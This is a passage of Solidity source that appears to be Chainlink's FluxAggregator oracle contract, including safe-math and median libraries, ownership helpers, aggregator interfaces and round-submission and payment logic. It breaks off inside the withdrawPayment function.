int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
/**
* @notice Computes average of two signed integers, ensuring that the computation
* doesn't overflow.
* @dev If the result is not an integer, it is rounded towards zero. For example,
* avg(-3, -4) = -3
*/
function avg(int256 _a, int256 _b)
internal
pure
returns (int256)
{
if ((_a < 0 && _b > 0) || (_a > 0 && _b < 0)) {
return add(_a, _b) / 2;
}
int256 remainder = (_a % 2 + _b % 2) / 2;
return add(add(_a / 2, _b / 2), remainder);
}
}
library Median {
using SignedSafeMath for int256;
int256 constant INT_MAX = 2**255-1;
/**
* @notice Returns the sorted middle, or the average of the two middle indexed items if the
* array has an even number of elements.
* @dev The list passed as an argument isn't modified.
* @dev This algorithm has expected runtime O(n), but for adversarially chosen inputs
* the runtime is O(n^2).
* @param list The list of elements to compare
*/
function calculate(int256[] memory list)
internal
pure
returns (int256)
{
return calculateInplace(copy(list));
}
/**
* @notice See documentation for function calculate.
* @dev The list passed as an argument may be permuted.
*/
function calculateInplace(int256[] memory list)
internal
pure
returns (int256)
{
require(0 < list.length, "list must not be empty");
uint256 len = list.length;
uint256 middleIndex = len / 2;
if (len % 2 == 0) {
int256 median1;
int256 median2;
(median1, median2) = quickselectTwo(list, 0, len - 1, middleIndex - 1, middleIndex);
return SignedSafeMath.avg(median1, median2);
} else {
return quickselect(list, 0, len - 1, middleIndex);
}
}
/**
* @notice Maximum length of list that shortSelectTwo can handle
*/
uint256 constant SHORTSELECTTWO_MAX_LENGTH = 7;
/**
* @notice Select the k1-th and k2-th element from list of length at most 7
* @dev Uses an optimal sorting network
*/
function shortSelectTwo(
int256[] memory list,
uint256 lo,
uint256 hi,
uint256 k1,
uint256 k2
)
private
pure
returns (int256 k1th, int256 k2th)
{
// Uses an optimal sorting network (https://en.wikipedia.org/wiki/Sorting_network)
// for lists of length 7. Network layout is taken from
// http://jgamble.ripco.net/cgi-bin/nw.cgi?inputs=7&algorithm=hibbard&output=svg
uint256 len = hi + 1 - lo;
int256 x0 = list[lo + 0];
int256 x1 = 1 < len ? list[lo + 1] : INT_MAX;
int256 x2 = 2 < len ? list[lo + 2] : INT_MAX;
int256 x3 = 3 < len ? list[lo + 3] : INT_MAX;
int256 x4 = 4 < len ? list[lo + 4] : INT_MAX;
int256 x5 = 5 < len ? list[lo + 5] : INT_MAX;
int256 x6 = 6 < len ? list[lo + 6] : INT_MAX;
if (x0 > x1) {(x0, x1) = (x1, x0);}
if (x2 > x3) {(x2, x3) = (x3, x2);}
if (x4 > x5) {(x4, x5) = (x5, x4);}
if (x0 > x2) {(x0, x2) = (x2, x0);}
if (x1 > x3) {(x1, x3) = (x3, x1);}
if (x4 > x6) {(x4, x6) = (x6, x4);}
if (x1 > x2) {(x1, x2) = (x2, x1);}
if (x5 > x6) {(x5, x6) = (x6, x5);}
if (x0 > x4) {(x0, x4) = (x4, x0);}
if (x1 > x5) {(x1, x5) = (x5, x1);}
if (x2 > x6) {(x2, x6) = (x6, x2);}
if (x1 > x4) {(x1, x4) = (x4, x1);}
if (x3 > x6) {(x3, x6) = (x6, x3);}
if (x2 > x4) {(x2, x4) = (x4, x2);}
if (x3 > x5) {(x3, x5) = (x5, x3);}
if (x3 > x4) {(x3, x4) = (x4, x3);}
uint256 index1 = k1 - lo;
if (index1 == 0) {k1th = x0;}
else if (index1 == 1) {k1th = x1;}
else if (index1 == 2) {k1th = x2;}
else if (index1 == 3) {k1th = x3;}
else if (index1 == 4) {k1th = x4;}
else if (index1 == 5) {k1th = x5;}
else if (index1 == 6) {k1th = x6;}
else {revert("k1 out of bounds");}
uint256 index2 = k2 - lo;
if (k1 == k2) {return (k1th, k1th);}
else if (index2 == 0) {return (k1th, x0);}
else if (index2 == 1) {return (k1th, x1);}
else if (index2 == 2) {return (k1th, x2);}
else if (index2 == 3) {return (k1th, x3);}
else if (index2 == 4) {return (k1th, x4);}
else if (index2 == 5) {return (k1th, x5);}
else if (index2 == 6) {return (k1th, x6);}
else {revert("k2 out of bounds");}
}
/**
* @notice Selects the k-th ranked element from list, looking only at indices between lo and hi
* (inclusive). Modifies list in-place.
*/
function quickselect(int256[] memory list, uint256 lo, uint256 hi, uint256 k)
private
pure
returns (int256 kth)
{
require(lo <= k);
require(k <= hi);
while (lo < hi) {
if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) {
int256 ignore;
(kth, ignore) = shortSelectTwo(list, lo, hi, k, k);
return kth;
}
uint256 pivotIndex = partition(list, lo, hi);
if (k <= pivotIndex) {
// since pivotIndex < (original hi passed to partition),
// termination is guaranteed in this case
hi = pivotIndex;
} else {
// since (original lo passed to partition) <= pivotIndex,
// termination is guaranteed in this case
lo = pivotIndex + 1;
}
}
return list[lo];
}
/**
* @notice Selects the k1-th and k2-th ranked elements from list, looking only at indices between
* lo and hi (inclusive). Modifies list in-place.
*/
function quickselectTwo(
int256[] memory list,
uint256 lo,
uint256 hi,
uint256 k1,
uint256 k2
)
internal // for testing
pure
returns (int256 k1th, int256 k2th)
{
require(k1 < k2);
require(lo <= k1 && k1 <= hi);
require(lo <= k2 && k2 <= hi);
while (true) {
if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) {
return shortSelectTwo(list, lo, hi, k1, k2);
}
uint256 pivotIdx = partition(list, lo, hi);
if (k2 <= pivotIdx) {
hi = pivotIdx;
} else if (pivotIdx < k1) {
lo = pivotIdx + 1;
} else {
assert(k1 <= pivotIdx && pivotIdx < k2);
k1th = quickselect(list, lo, pivotIdx, k1);
k2th = quickselect(list, pivotIdx + 1, hi, k2);
return (k1th, k2th);
}
}
}
/**
* @notice Partitions list in-place using Hoare's partitioning scheme.
* Only elements of list between indices lo and hi (inclusive) will be modified.
* Returns an index i, such that:
* - lo <= i < hi
* - forall j in [lo, i]. list[j] <= list[i]
* - forall j in [i, hi]. list[i] <= list[j]
*/
function partition(int256[] memory list, uint256 lo, uint256 hi)
private
pure
returns (uint256)
{
// We don't care about overflow of the addition, because it would require a list
// larger than any feasible computer's memory.
int256 pivot = list[(lo + hi) / 2];
lo -= 1; // this can underflow. that's intentional.
hi += 1;
while (true) {
do {
lo += 1;
} while (list[lo] < pivot);
do {
hi -= 1;
} while (list[hi] > pivot);
if (lo < hi) {
(list[lo], list[hi]) = (list[hi], list[lo]);
} else {
// Let orig_lo and orig_hi be the original values of lo and hi passed to partition.
// Then, hi < orig_hi, because hi decreases *strictly* monotonically
// in each loop iteration and
// - either list[orig_hi] > pivot, in which case the first loop iteration
// will achieve hi < orig_hi;
// - or list[orig_hi] <= pivot, in which case at least two loop iterations are
// needed:
// - lo will have to stop at least once in the interval
// [orig_lo, (orig_lo + orig_hi)/2]
// - (orig_lo + orig_hi)/2 < orig_hi
return hi;
}
}
}
/**
* @notice Makes an in-memory copy of the array passed in
* @param list Reference to the array to be copied
*/
function copy(int256[] memory list)
private
pure
returns(int256[] memory)
{
int256[] memory list2 = new int256[](list.length);
for (uint256 i = 0; i < list.length; i++) {
list2[i] = list[i];
}
return list2;
}
}
/**
* @title The Owned contract
* @notice A contract with helpers for basic contract ownership.
*/
contract Owned {
address payable public owner;
address private pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor() public {
owner = msg.sender;
}
/**
* @dev Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address _to)
external
onlyOwner()
{
pendingOwner = _to;
emit OwnershipTransferRequested(owner, _to);
}
/**
* @dev Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == pendingOwner, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @dev Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* This library is a version of Open Zeppelin's SafeMath, modified to support
* unsigned 128 bit integers.
*/
library SafeMath128 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint128 a, uint128 b) internal pure returns (uint128) {
uint128 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint128 a, uint128 b) internal pure returns (uint128) {
require(b <= a, "SafeMath: subtraction overflow");
uint128 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint128 a, uint128 b) internal pure returns (uint128) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint128 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint128 a, uint128 b) internal pure returns (uint128) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint128 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint128 a, uint128 b) internal pure returns (uint128) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* This library is a version of Open Zeppelin's SafeMath, modified to support
* unsigned 32 bit integers.
*/
library SafeMath32 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
require(b <= a, "SafeMath: subtraction overflow");
uint32 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint32 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint32 a, uint32 b) internal pure returns (uint32) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint32 a, uint32 b) internal pure returns (uint32) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* This library is a version of Open Zeppelin's SafeMath, modified to support
* unsigned 64 bit integers.
*/
library SafeMath64 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint64 a, uint64 b) internal pure returns (uint64) {
uint64 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint64 a, uint64 b) internal pure returns (uint64) {
require(b <= a, "SafeMath: subtraction overflow");
uint64 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint64 a, uint64 b) internal pure returns (uint64) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint64 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint64 a, uint64 b) internal pure returns (uint64) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint64 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint64 a, uint64 b) internal pure returns (uint64) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
interface AggregatorValidatorInterface {
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
) external returns (bool);
}
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
/**
* @title The Prepaid Aggregator contract
* @notice Handles aggregating data pushed in from off-chain, and unlocks
* payment for oracles as they report. Oracles' submissions are gathered in
* rounds, with each round aggregating the submissions for each oracle into a
* single answer. The latest aggregated answer is exposed as well as historical
* answers and their updated at timestamp.
*/
contract FluxAggregator is AggregatorV2V3Interface, Owned {
using SafeMath for uint256;
using SafeMath128 for uint128;
using SafeMath64 for uint64;
using SafeMath32 for uint32;
struct Round {
int256 answer;
uint64 startedAt;
uint64 updatedAt;
uint32 answeredInRound;
}
struct RoundDetails {
int256[] submissions;
uint32 maxSubmissions;
uint32 minSubmissions;
uint32 timeout;
uint128 paymentAmount;
}
struct OracleStatus {
uint128 withdrawable;
uint32 startingRound;
uint32 endingRound;
uint32 lastReportedRound;
uint32 lastStartedRound;
int256 latestSubmission;
uint16 index;
address admin;
address pendingAdmin;
}
struct Requester {
bool authorized;
uint32 delay;
uint32 lastStartedRound;
}
struct Funds {
uint128 available;
uint128 allocated;
}
LinkTokenInterface public linkToken;
AggregatorValidatorInterface public validator;
// Round related params
uint128 public paymentAmount;
uint32 public maxSubmissionCount;
uint32 public minSubmissionCount;
uint32 public restartDelay;
uint32 public timeout;
uint8 public override decimals;
string public override description;
int256 immutable public minSubmissionValue;
int256 immutable public maxSubmissionValue;
uint256 constant public override version = 3;
/**
* @notice To ensure owner isn't withdrawing required funds as oracles are
* submitting updates, we enforce that the contract maintains a minimum
* reserve of RESERVE_ROUNDS * oracleCount() LINK earmarked for payment to
* oracles. (Of course, this doesn't prevent the contract from running out of
* funds without the owner's intervention.)
*/
uint256 constant private RESERVE_ROUNDS = 2;
uint256 constant private MAX_ORACLE_COUNT = 77;
uint32 constant private ROUND_MAX = 2**32-1;
uint256 private constant VALIDATOR_GAS_LIMIT = 100000;
// An error specific to the Aggregator V3 Interface, to prevent possible
// confusion around accidentally reading unset values as reported values.
string constant private V3_NO_DATA_ERROR = "No data present";
uint32 private reportingRoundId;
uint32 internal latestRoundId;
mapping(address => OracleStatus) private oracles;
mapping(uint32 => Round) internal rounds;
mapping(uint32 => RoundDetails) internal details;
mapping(address => Requester) internal requesters;
address[] private oracleAddresses;
Funds private recordedFunds;
event AvailableFundsUpdated(
uint256 indexed amount
);
event RoundDetailsUpdated(
uint128 indexed paymentAmount,
uint32 indexed minSubmissionCount,
uint32 indexed maxSubmissionCount,
uint32 restartDelay,
uint32 timeout // measured in seconds
);
event OraclePermissionsUpdated(
address indexed oracle,
bool indexed whitelisted
);
event OracleAdminUpdated(
address indexed oracle,
address indexed newAdmin
);
event OracleAdminUpdateRequested(
address indexed oracle,
address admin,
address newAdmin
);
event SubmissionReceived(
int256 indexed submission,
uint32 indexed round,
address indexed oracle
);
event RequesterPermissionsSet(
address indexed requester,
bool authorized,
uint32 delay
);
event ValidatorUpdated(
address indexed previous,
address indexed current
);
/**
* @notice set up the aggregator with initial configuration
* @param _link The address of the LINK token
* @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK)
* @param _timeout is the number of seconds after the previous round that are
* allowed to lapse before allowing an oracle to skip an unfinished round
* @param _validator is an optional contract address for validating
* external validation of answers
* @param _minSubmissionValue is an immutable check for a lower bound of what
* submission values are accepted from an oracle
* @param _maxSubmissionValue is an immutable check for an upper bound of what
* submission values are accepted from an oracle
* @param _decimals represents the number of decimals to offset the answer by
* @param _description a short description of what is being reported
*/
constructor(
address _link,
uint128 _paymentAmount,
uint32 _timeout,
address _validator,
int256 _minSubmissionValue,
int256 _maxSubmissionValue,
uint8 _decimals,
string memory _description
) public {
linkToken = LinkTokenInterface(_link);
updateFutureRounds(_paymentAmount, 0, 0, 0, _timeout);
setValidator(_validator);
minSubmissionValue = _minSubmissionValue;
maxSubmissionValue = _maxSubmissionValue;
decimals = _decimals;
description = _description;
rounds[0].updatedAt = uint64(block.timestamp.sub(uint256(_timeout)));
}
/**
* @notice called by oracles when they have witnessed a need to update
* @param _roundId is the ID of the round this submission pertains to
* @param _submission is the updated data that the oracle is submitting
*/
function submit(uint256 _roundId, int256 _submission)
external
{
bytes memory error = validateOracleRound(msg.sender, uint32(_roundId));
require(_submission >= minSubmissionValue, "value below minSubmissionValue");
require(_submission <= maxSubmissionValue, "value above maxSubmissionValue");
require(error.length == 0, string(error));
oracleInitializeNewRound(uint32(_roundId));
recordSubmission(_submission, uint32(_roundId));
(bool updated, int256 newAnswer) = updateRoundAnswer(uint32(_roundId));
payOracle(uint32(_roundId));
deleteRoundDetails(uint32(_roundId));
if (updated) {
validateAnswer(uint32(_roundId), newAnswer);
}
}
/**
* @notice called by the owner to remove and add new oracles as well as
* update the round related parameters that pertain to total oracle count
* @param _removed is the list of addresses for the new Oracles being removed
* @param _added is the list of addresses for the new Oracles being added
* @param _addedAdmins is the admin addresses for the new respective _added
* list. Only this address is allowed to access the respective oracle's funds
* @param _minSubmissions is the new minimum submission count for each round
* @param _maxSubmissions is the new maximum submission count for each round
* @param _restartDelay is the number of rounds an Oracle has to wait before
* they can initiate a round
*/
function changeOracles(
address[] calldata _removed,
address[] calldata _added,
address[] calldata _addedAdmins,
uint32 _minSubmissions,
uint32 _maxSubmissions,
uint32 _restartDelay
)
external
onlyOwner()
{
for (uint256 i = 0; i < _removed.length; i++) {
removeOracle(_removed[i]);
}
require(_added.length == _addedAdmins.length, "need same oracle and admin count");
require(uint256(oracleCount()).add(_added.length) <= MAX_ORACLE_COUNT, "max oracles allowed");
for (uint256 i = 0; i < _added.length; i++) {
addOracle(_added[i], _addedAdmins[i]);
}
updateFutureRounds(paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, timeout);
}
/**
* @notice update the round and payment related parameters for subsequent
* rounds
* @param _paymentAmount is the payment amount for subsequent rounds
* @param _minSubmissions is the new minimum submission count for each round
* @param _maxSubmissions is the new maximum submission count for each round
* @param _restartDelay is the number of rounds an Oracle has to wait before
* they can initiate a round
*/
function updateFutureRounds(
uint128 _paymentAmount,
uint32 _minSubmissions,
uint32 _maxSubmissions,
uint32 _restartDelay,
uint32 _timeout
)
public
onlyOwner()
{
uint32 oracleNum = oracleCount(); // Save on storage reads
require(_maxSubmissions >= _minSubmissions, "max must equal/exceed min");
require(oracleNum >= _maxSubmissions, "max cannot exceed total");
require(oracleNum == 0 || oracleNum > _restartDelay, "delay cannot exceed total");
require(recordedFunds.available >= requiredReserve(_paymentAmount), "insufficient funds for payment");
if (oracleCount() > 0) {
require(_minSubmissions > 0, "min must be greater than 0");
}
paymentAmount = _paymentAmount;
minSubmissionCount = _minSubmissions;
maxSubmissionCount = _maxSubmissions;
restartDelay = _restartDelay;
timeout = _timeout;
emit RoundDetailsUpdated(
paymentAmount,
_minSubmissions,
_maxSubmissions,
_restartDelay,
_timeout
);
}
/**
* @notice the amount of payment yet to be withdrawn by oracles
*/
function allocatedFunds()
external
view
returns (uint128)
{
return recordedFunds.allocated;
}
/**
* @notice the amount of future funding available to oracles
*/
function availableFunds()
external
view
returns (uint128)
{
return recordedFunds.available;
}
/**
* @notice recalculate the amount of LINK available for payouts
*/
function updateAvailableFunds()
public
{
Funds memory funds = recordedFunds;
uint256 nowAvailable = linkToken.balanceOf(address(this)).sub(funds.allocated);
if (funds.available != nowAvailable) {
recordedFunds.available = uint128(nowAvailable);
emit AvailableFundsUpdated(nowAvailable);
}
}
/**
* @notice returns the number of oracles
*/
function oracleCount() public view returns (uint8) {
return uint8(oracleAddresses.length);
}
/**
* @notice returns an array of addresses containing the oracles on contract
*/
function getOracles() external view returns (address[] memory) {
return oracleAddresses;
}
/**
* @notice get the most recently reported answer
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestAnswer()
public
view
virtual
override
returns (int256)
{
return rounds[latestRoundId].answer;
}
/**
* @notice get the most recent updated at timestamp
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestTimestamp()
public
view
virtual
override
returns (uint256)
{
return rounds[latestRoundId].updatedAt;
}
/**
* @notice get the ID of the last updated round
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestRound()
public
view
virtual
override
returns (uint256)
{
return latestRoundId;
}
/**
* @notice get past rounds answers
* @param _roundId the round number to retrieve the answer for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getAnswer(uint256 _roundId)
public
view
virtual
override
returns (int256)
{
if (validRoundId(_roundId)) {
return rounds[uint32(_roundId)].answer;
}
return 0;
}
/**
* @notice get timestamp when an answer was last updated
* @param _roundId the round number to retrieve the updated timestamp for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getTimestamp(uint256 _roundId)
public
view
virtual
override
returns (uint256)
{
if (validRoundId(_roundId)) {
return rounds[uint32(_roundId)].updatedAt;
}
return 0;
}
/**
* @notice get data about a round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* @param _roundId the round ID to retrieve the round data for
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started. This is 0
* if the round hasn't been started yet.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed. answeredInRound may be smaller than roundId when the round
* timed out. answeredInRound is equal to roundId when the round didn't time out
* and was completed regularly.
* @dev Note that for in-progress rounds (i.e. rounds that haven't yet received
* maxSubmissions) answer and updatedAt may change between queries.
*/
function getRoundData(uint80 _roundId)
public
view
virtual
override
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
Round memory r = rounds[uint32(_roundId)];
require(r.answeredInRound > 0 && validRoundId(_roundId), V3_NO_DATA_ERROR);
return (
_roundId,
r.answer,
r.startedAt,
r.updatedAt,
r.answeredInRound
);
}
/**
* @notice get data about the latest round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values. Consumers are encouraged to
* use this more fully featured method over the "legacy" latestRound/
* latestAnswer/latestTimestamp functions. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started. This is 0
* if the round hasn't been started yet.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed. answeredInRound may be smaller than roundId when the round
* timed out. answeredInRound is equal to roundId when the round didn't time
* out and was completed regularly.
* @dev Note that for in-progress rounds (i.e. rounds that haven't yet
* received maxSubmissions) answer and updatedAt may change between queries.
*/
function latestRoundData()
public
view
virtual
override
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return getRoundData(latestRoundId);
}
/**
* @notice query the available amount of LINK for an oracle to withdraw
*/
function withdrawablePayment(address _oracle)
external
view
returns (uint256)
{
return oracles[_oracle].withdrawable;
}
/**
* @notice transfers the oracle's LINK to another address. Can only be called
* by the oracle's admin.
* @param _oracle is the oracle whose LINK is transferred
* @param _recipient is the address to send the LINK to
* @param _amount is the amount of LINK to send
*/
function withdrawPayment(address _oracle, address _recipient, uint256 _amount)
external
{
require(oracles[_oracle].admin == msg.sender, "only callable by admin");
// Safe to downcast _amount because the total amount of LINK is less than 2^128.
uint128 amount = uint128(_amount);
uint128 available = oracles[_oracle].withdrawable;
require(available >= amount, "insufficient withdrawable funds");
oracles[_oracle].withdrawable = available.sub(amount);
